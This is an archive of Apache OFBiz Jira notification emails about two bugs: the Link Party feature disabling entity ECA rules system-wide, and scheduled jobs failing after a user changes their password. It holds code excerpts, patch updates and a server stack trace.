[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17683370#comment-17683370 ] Rohit Koushal edited comment on OFBIZ-10573 at 2/2/23 4:07 PM: --- Apologies for the delay on this ticket. [~jleroux] , the issue mentioned above is no longer present on the trunk. I have incorporated the recent trunk changes and reattached the updated patch [^OFBIZ-10573_v2.patch]. Thanks!! was (Author: rohit.koushal): Apologies for the delay on this ticket. [~jleroux] , the issue mentioned above is no longer present on the trunk. I have incorporated the recent truck changes and reattached the updated patch [^OFBIZ-10573_v2.patch]. Thanks!! > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > image-2018-09-19-15-41-13-122.png, image-2018-09-19-15-43-25-388.png, > image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17683372#comment-17683372
]
Rohit Koushal commented on OFBIZ-12424:
---
Any suggestion on how we can move forward with this ticket?
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk,
> Upcoming Branch
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17683370#comment-17683370 ] Rohit Koushal commented on OFBIZ-10573: --- Apologies for the delay on this ticket. [~jleroux] , the issue mentioned above is no longer present on the trunk. I have incorporated the recent truck changes and reattached the updated patch [^OFBIZ-10573_v2.patch]. Thanks!! > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > image-2018-09-19-15-41-13-122.png, image-2018-09-19-15-43-25-388.png, > image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10573: -- Attachment: OFBIZ-10573_v2.patch > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > image-2018-09-19-15-41-13-122.png, image-2018-09-19-15-43-25-388.png, > image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451864#comment-17451864
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 2:34 PM:
-
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using this feature({*}Link Party{*}) then they will run into
some serious problem due to the global deactivation of the ECA handler because
there are so many EECA logic that triggers when uses delegator methods(CRUD)
was (Author: rohit.koushal):
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using the feature({*}Link Party{*}) then they will run into some
serious problem due to the global deactivation of the ECA handler because there
are so many EECA logic that triggers when uses delegator methods(CRUD)
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451864#comment-17451864
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 2:33 PM:
-
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using the feature({*}Link Party{*}) then they will run into some
serious problem due to the global deactivation of the ECA handler because there
are so many EECA logic that triggers when uses delegator methods(CRUD)
was (Author: rohit.koushal):
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using the feature({*}Link Party{*}) then they will run into some
serious problem due to the global deactivation of the ECA handler because there
so many logic that triggers when uses delegator methods(CRUD)
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451864#comment-17451864
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 2:31 PM:
-
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using the feature({*}Link Party{*}) then they will run into some
serious problem due to the global deactivation of the ECA handler because there
so many logic that triggers when uses delegator methods(CRUD)
was (Author: rohit.koushal):
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using the feature({*}Link Party{*}) then will run into some much
serious problem due to the global deactivation of the ECA handler because there
so many logic that triggers when uses delegator methods(CRUD)
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451864#comment-17451864
]
Rohit Koushal commented on OFBIZ-12424:
---
Thanks [~mbrohl] for jumping in, needed I also think the purpose of this ticket
is getting lost somewhere due to the other things which are being raised.
If any user is using the feature({*}Link Party{*}) then will run into some much
serious problem due to the global deactivation of the ECA handler because there
so many logic that triggers when uses delegator methods(CRUD)
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451830#comment-17451830
]
Rohit Koushal commented on OFBIZ-12424:
---
So another thought can be we can leave the PartyRole as is and do not remove
them plus copy the PartyRelationship data to ToPartyId and expire the
PartyRelationship with PartyId with this final party will possess all the
relation which PartyId have.
WDYT ?
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451794#comment-17451794
]
Rohit Koushal commented on OFBIZ-12424:
---
Thanks [~jleroux] for the input another thing that we can do is like leave
PARTY_REL_TPROLE relation as is and add support to move/remove
PartyRelationship as well. So in this way, it does not have any other
implications in the system.
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451788#comment-17451788
]
Rohit Koushal commented on OFBIZ-12424:
---
{noformat}
Apart from the fact that it can be a benefit for merging duplicates, it also
introduces a risk due to mistakes. A wrong ToParty can be selected. Do we warn
the user that his/her/their choice can have major consequences?{noformat}
[~pierresmits] . There is a warning before initiating the process. (Do at your
own risk ;))
!image-2021-12-01-18-18-40-267.png|width=687,height=202!
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Attachment: image-2021-12-01-18-18-40-267.png
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png, image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451776#comment-17451776
]
Rohit Koushal commented on OFBIZ-12424:
---
Hey [~pierresmits]
>From the function implementation perspective, it moves all the information
>from one party to another like its contact info, order, invoice etc. So this
>feature is actually like if system is having duplicate parties then it allows
>us to merge user information into one.
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451757#comment-17451757
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 12:29 PM:
--
Thanks [~jleroux] for you quick reply
I just give it a try [trunk instance|https://demo-trunk.ofbiz.apache.org/] and
I am seeing the same problem that you report for the user with partyId
{*}DemoLead1{*}. Please refer to the below screenshot for your easy reference.
!image-2021-12-01-17-18-37-279.png|width=625,height=185!
!image-2021-12-01-17-20-21-196.png|width=624,height=287!
+_*complete log*_+
{code:java}
2021-12-01 11:38:55,666 |27.0.0.1-8009-exec-2 |ControlServlet |T|
[[[partymgr::setPartyLink (Domain:https://demo-trunk.ofbiz.apache.org)] Request
Begun, encoding=[UTF-8]- total:0.0,since last(Begin):0.0]]2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 0 requests, 0 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/handlers-controller.xml2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.025s, 52 requests, 21 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/common-controller.xml2021-12-01
11:38:55,733 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 30 requests, 13 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/security-controller.xml2021-12-01
11:38:55,746 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 4 requests, 0 views in
file:/home/ofbizDemo/trunk/applications/commonext/webapp/WEB-INF/controller.xml2021-12-01
11:38:55,765 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.003s, 347 requests, 133 views in
file:/home/ofbizDemo/trunk/applications/content/webapp/content/WEB-INF/controller.xml2021-12-01
11:38:55,768 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.086s, 268 requests, 110 views in
file:/home/ofbizDemo/trunk/applications/party/webapp/partymgr/WEB-INF/controller.xml2021-12-01
11:38:55,884 |27.0.0.1-8009-exec-2 |TransactionUtil |W| Calling transaction
setRollbackOnly; this stack trace shows where this is
happening:java.lang.Exception: rollback called in Entity Engine SQLProcessorat
org.apache.ofbiz.entity.transaction.TransactionUtil.setRollbackOnly(TransactionUtil.java:372)
[main/:?]at
org.apache.ofbiz.entity.jdbc.SQLProcessor.rollback(SQLProcessor.java:198)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericDAO.deleteByCondition(GenericDAO.java:1347)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericHelperDAO.removeByCondition(GenericHelperDAO.java:189)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByCondition(GenericDelegator.java:1150)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByAnd(GenericDelegator.java:1115)
[main/:?]at
org.apache.ofbiz.party.party.PartyServices.linkParty(PartyServices.java:2131)
[main/:?]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
~[?:1.8.0_292]at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
~[?:1.8.0_292]at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_292]at java.lang.reflect.Method.invoke(Method.java:498)
~[?:1.8.0_292]at
org.apache.ofbiz.service.engine.StandardJavaEngine.serviceInvoker(StandardJavaEngine.java:101)
[main/:?]at
org.apache.ofbiz.service.engine.StandardJavaEngine.runSync(StandardJavaEngine.java:57)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:424)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:240)
[main/:?]at
org.apache.ofbiz.service.GenericDispatcherFactory$GenericDispatcher.runSync(GenericDispatcherFactory.java:93)
[main/:?]at
org.apache.ofbiz.webapp.event.ServiceEventHandler.invoke(ServiceEventHandler.java:253)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:1026)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:677)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.handle(ControlServlet.java:231)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:81)
[main/:?]at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[tomcat-embed-websocket-9.
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451757#comment-17451757
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 12:22 PM:
--
Thanks [~jleroux] for you quick reply
I just give it a try [trunk instance|https://demo-trunk.ofbiz.apache.org/] and
I am seeing the same problem that you report for the user with partyId
{*}DemoLead1{*}. Please refer to the below screenshot for your easy reference.
!image-2021-12-01-17-18-37-279.png|width=625,height=185!
!image-2021-12-01-17-20-21-196.png|width=624,height=287!
+_*complete log*_+
{code:java}
2021-12-01 11:38:55,666 |27.0.0.1-8009-exec-2 |ControlServlet |T|
[[[partymgr::setPartyLink (Domain:https://demo-trunk.ofbiz.apache.org)] Request
Begun, encoding=[UTF-8]- total:0.0,since last(Begin):0.0]]2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 0 requests, 0 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/handlers-controller.xml2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.025s, 52 requests, 21 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/common-controller.xml2021-12-01
11:38:55,733 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 30 requests, 13 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/security-controller.xml2021-12-01
